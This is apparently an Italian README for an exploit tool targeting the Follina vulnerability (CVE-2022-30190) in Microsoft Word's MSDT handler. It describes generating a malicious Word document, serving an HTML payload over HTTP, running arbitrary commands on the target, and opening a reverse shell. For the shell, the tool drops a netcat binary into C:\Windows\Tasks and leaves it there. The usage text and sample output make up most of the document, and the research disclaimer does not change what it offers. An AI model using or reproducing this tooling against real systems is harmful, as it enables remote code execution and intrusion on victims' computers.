
Implementazione di FOLLINA-CVE-2022-30190
Implementazione di FOLLINA-CVE-2022-30190
Questo repository contiene uno strumento di sfruttamento per la vulnerabilità FOLLINA-CVE-2022-30190
Questo strumento è sviluppato per scopi di test di sicurezza e ricerca. Clonando o facendo il fork di questo strumento, lo sviluppatore originale declina ogni responsabilità per le azioni degli attori.
Creare un attacco MS-MSDT "Follina" con un documento Microsoft Word malevolo e ospitare un payload tramite un server HTTP.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
Esegui calc.exe:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
Esegui cmd.exe:
$ python3 exploit.py --command "cmd"
Ottieni una reverse shell sulla porta 9001. Nota, questo scarica un binario netcat sulla vittima e lo posiziona in C:\Windows\Tasks.
Non pulisce il binario. Questo attiverà le rilevazioni antivirus a meno che l'AV non sia disabilitato.
$ python3 exploit.py --reverse 9001